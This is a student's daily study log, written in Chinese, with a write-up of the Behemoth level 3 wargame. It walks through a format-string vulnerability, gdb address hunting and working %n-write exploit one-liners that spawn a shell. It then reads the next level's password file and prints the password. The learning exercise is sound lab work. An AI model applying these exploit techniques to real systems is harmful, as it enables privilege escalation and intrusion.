1625-5 王子昂 总结《2017年9月5日》 【连续第337天总结】
A. WarGames-Behemoth
B.
Level 3
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+18h] [bp-C8h]@1
printf("Identify yourself: ");
fgets((char *)&v4, 200, _bss_start); // 应该是stdin,即输入流
printf("Welcome, ");
printf((const char *)&v4);
puts("\naaaand goodbye again.");
return 0;
}
fgets从输入流中截取200个字符送入v4中
溢出是不存在的,不过随手打入一个%s提示Segmentation fault
说明存在格式化字符漏洞,那么就跟之前试过的一样
首先找到缓冲区的位置:
behemoth3@behemoth:~$ /behemoth/behemoth3
Identify yourself: aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x
Welcome, aaaa.000000c8.f7fccc20.f7ff2e76.00000002.f7ffd000.61616161.3830252e
发现在第六个偏移
接下来将Payload写入环境变量,并找到对应的地址;然后找到main函数返回地址,通过%n将Payload的地址写入返回地址即可
(gdb) break main
Breakpoint 1 at 0x8048480
(gdb) r
Starting program: /behemoth/behemoth3
Breakpoint 1, 0x08048480 in main ()
(gdb) x/40x $esp
0xffffd618: 0x00000000 0xf7e3cad3 0x00000001 0xffffd6b4
0xffffd628: 0xffffd6bc 0xf7feacca 0x00000001 0xffffd6b4
main断下来以后,堆栈中的内容分别为对齐偏移、返回地址、argc、argv、envp
即返回地址为0xffffd61c,环境变量数组的地址为0xffffd628
Payload的地址还需要进一步查看,最后发现在0xffffd867的位置可以踩到NopSled
构造ShellCode探测返回地址:
behemoth3@behemoth:~
$
python -c ‘print “\x1c\xd6\xff\xff%10d%6$n”’ | /behemoth//behemoth3
Identify yourself: Welcome, 200
aaaand goodbye again.
Segmentation fault
说明返回地址在Shell中也是0xffffd61c无误,接下来直接将0xffffd628长度的数据传入并以%n写入的时候出错了,估计是因为输入流有限被截断了
behemoth3@behemoth:~
$
python -c ‘print “\x1c\xd6\xff\xff%4294956584x%6$n”’ | /behemoth//behemoth3
Identify yourself: Welcome,
aaaand goodbye again.
因此就要分开传入,每次两个字节传两次
behemoth3@behemoth:~
$
(python -c ‘print “\x2c\xd6\xff\xff\x2e\xd6\xff\xff” + “%55399x%6$
n%10128x%7$
n”’ ;cat ) | /behemoth/behemoth3whoami
behemoth4
cat /etc/behemoth_pass/behemoth4
ietheishei
其中,55399是0xd867的十进制,10128是0xffff-55399-8的十进制
结尾加上cat是为了防止管道中断
突然想起0xd867转成十进制的时候其实应该先减掉前8个地址字符的,不过因为放置了0x100个字节的NopSled所以容许误差没关系~
之前这种方法也利用过很多次了,然而还是经常出错(:з」∠)
C. 明日计划
behemoth